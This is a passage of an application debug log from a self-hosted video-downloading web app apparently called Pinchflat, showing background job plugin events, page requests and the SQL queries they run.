{"source":"oban","duration":1738,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:37:33.136 [info] {"source":"oban","duration":1869,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:38:00.208 [info] {"source":"oban","duration":419,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:38:03.139 [info] {"source":"oban","duration":1602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:38:33.142 [info] {"source":"oban","duration":1669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:39:00.210 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:39:03.144 [info] {"source":"oban","duration":830,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:39:33.147 [info] {"source":"oban","duration":1879,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:40:00.211 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:40:03.149 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:40:33.152 [info] {"source":"oban","duration":2253,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:41:00.213 [info] {"source":"oban","duration":358,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:41:03.154 [info] {"source":"oban","duration":909,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:41:33.157 [info] {"source":"oban","duration":1566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:42:00.214 [info] {"source":"oban","duration":344,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:42:03.158 [info] {"source":"oban","duration":548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:42:33.160 [info] {"source":"oban","duration":1571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:43:00.215 [info] {"source":"oban","duration":578,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:43:03.161 [info] {"source":"oban","duration":592,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:43:33.163 [info] {"source":"oban","duration":1948,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:44:00.216 [info] {"source":"oban","duration":178,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:44:03.166 [info] {"source":"oban","duration":1558,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:44:33.168 [info] {"source":"oban","duration":1706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:45:00.218 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:45:03.170 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:45:33.172 [info] {"source":"oban","duration":2063,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:46:00.219 [info] {"source":"oban","duration":440,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:46:03.174 [info] {"source":"oban","duration":944,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:46:33.177 [info] {"source":"oban","duration":2010,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:47:00.221 [info] {"source":"oban","duration":601,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:47:03.179 [info] {"source":"oban","duration":756,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:47:33.181 [info] {"source":"oban","duration":1535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:48:00.223 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:48:03.183 [info] {"source":"oban","duration":754,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:48:33.186 [info] {"source":"oban","duration":1678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:49:00.225 [info] {"source":"oban","duration":453,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:49:03.189 [info] {"source":"oban","duration":2000,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:49:33.190 [info] {"source":"oban","duration":518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:50:00.226 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:50:03.192 [info] {"source":"oban","duration":838,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:50:33.194 [info] {"source":"oban","duration":2085,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:51:00.228 [info] {"source":"oban","duration":561,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:51:03.196 [info] {"source":"oban","duration":632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:51:33.198 [info] {"source":"oban","duration":1658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:52:00.230 [info] {"source":"oban","duration":455,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:52:03.200 [info] {"source":"oban","duration":722,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:52:33.203 [info] {"source":"oban","duration":1568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:52:41.490 [info] GET / 20:52:41.490 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 20:52:41.491 [debug] QUERY OK source="settings" db=0.4ms idle=788.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:52:41.492 [debug] QUERY OK source="media_profiles" db=0.2ms idle=789.2ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 20:52:41.492 [debug] QUERY OK source="sources" db=0.2ms idle=789.9ms SELECT count(s0."id") FROM "sources" AS s0 [] 20:52:41.505 [debug] QUERY OK source="media_items" db=12.0ms queue=0.1ms idle=790.5ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 20:52:41.506 [debug] QUERY OK source="media_items" db=1.4ms idle=138.2ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 20:52:41.507 [debug] QUERY OK source="settings" db=0.2ms idle=15.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:52:41.507 [debug] QUERY OK source="settings" db=0.1ms idle=15.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:52:41.508 [debug] QUERY OK source="settings" db=0.1ms idle=15.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:52:41.509 [debug] QUERY OK source="tasks" db=0.1ms idle=3.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:52:41.510 [debug] QUERY OK source="media_items" db=0.4ms idle=2.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 20:52:41.510 [debug] QUERY OK source="media_items" db=0.3ms idle=2.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 20:52:41.510 [debug] QUERY OK source="sources" db=0.1ms idle=3.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [30, 31] 20:52:41.515 [debug] QUERY OK source="media_items" db=2.6ms idle=4.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 20:52:41.516 [debug] QUERY OK source="media_items" db=1.6ms idle=5.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 20:52:41.517 [debug] QUERY OK source="sources" db=0.1ms idle=7.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 20:52:41.519 [info] Sent 200 in 29ms 20:52:47.230 [info] GET /sources/31/media/141520 20:52:47.230 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "141520", "source_id" => "31"} Pipelines: [:browser] 20:52:47.232 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=850.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141520] 20:52:47.234 [debug] QUERY OK source="tasks" db=0.9ms queue=0.1ms idle=530.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [141520] 20:52:47.234 [debug] QUERY OK source="sources" db=1.2ms queue=0.1ms idle=530.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 20:52:47.236 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=532.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7281] 20:52:47.236 [debug] QUERY OK source="settings" db=0.1ms idle=533.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:52:47.236 [debug] QUERY OK source="settings" db=0.1ms idle=4.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:52:47.237 [debug] QUERY OK source="settings" db=0.1ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:52:47.237 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 20:52:47.239 [info] Sent 200 in 8ms 20:52:49.826 [info] GET /sources/31/media/141080 20:52:49.826 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "141080", "source_id" => "31"} Pipelines: [:browser] 20:52:49.827 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=1124.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141080] 20:52:49.829 [debug] QUERY OK source="tasks" db=0.5ms queue=0.1ms idle=1125.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [141080] 20:52:49.829 [debug] QUERY OK source="sources" db=0.8ms idle=1126.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 20:52:49.831 [debug] QUERY OK source="oban_jobs" db=0.5ms idle=1127.8ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7248] 20:52:49.831 [debug] QUERY OK source="settings" db=0.1ms idle=441.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:52:49.831 [debug] QUERY OK source="settings" db=0.1ms idle=3.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:52:49.832 [debug] QUERY OK source="settings" db=0.0ms idle=2.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:52:49.832 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 20:52:49.834 [info] Sent 200 in 8ms 20:52:52.155 [info] GET /sources/30/media/141039 20:52:52.155 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "141039", "source_id" => "30"} Pipelines: [:browser] 20:52:52.156 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=760.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141039] 20:52:52.158 [debug] QUERY OK source="tasks" db=0.4ms idle=455.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [141039] 20:52:52.158 [debug] QUERY OK source="sources" db=0.7ms idle=455.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 20:52:52.159 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=456.7ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7246] 20:52:52.159 [debug] QUERY OK source="settings" db=0.1ms idle=457.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:52:52.159 [debug] QUERY OK source="settings" db=0.0ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:52:52.160 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:52:52.160 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 20:52:52.162 [info] Sent 200 in 7ms 20:52:54.181 [info] GET /sources/31/media/141299 20:52:54.182 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "141299", "source_id" => "31"} Pipelines: [:browser] 20:52:54.184 [debug] QUERY OK source="media_items" db=0.8ms queue=0.2ms idle=780.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141299] 20:52:54.185 [debug] QUERY OK source="tasks" db=0.7ms queue=0.1ms idle=482.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [141299] 20:52:54.186 [debug] QUERY OK source="sources" db=1.0ms idle=482.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 20:52:54.186 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=483.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7264] 20:52:54.187 [debug] QUERY OK source="settings" db=0.1ms idle=484.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:52:54.187 [debug] 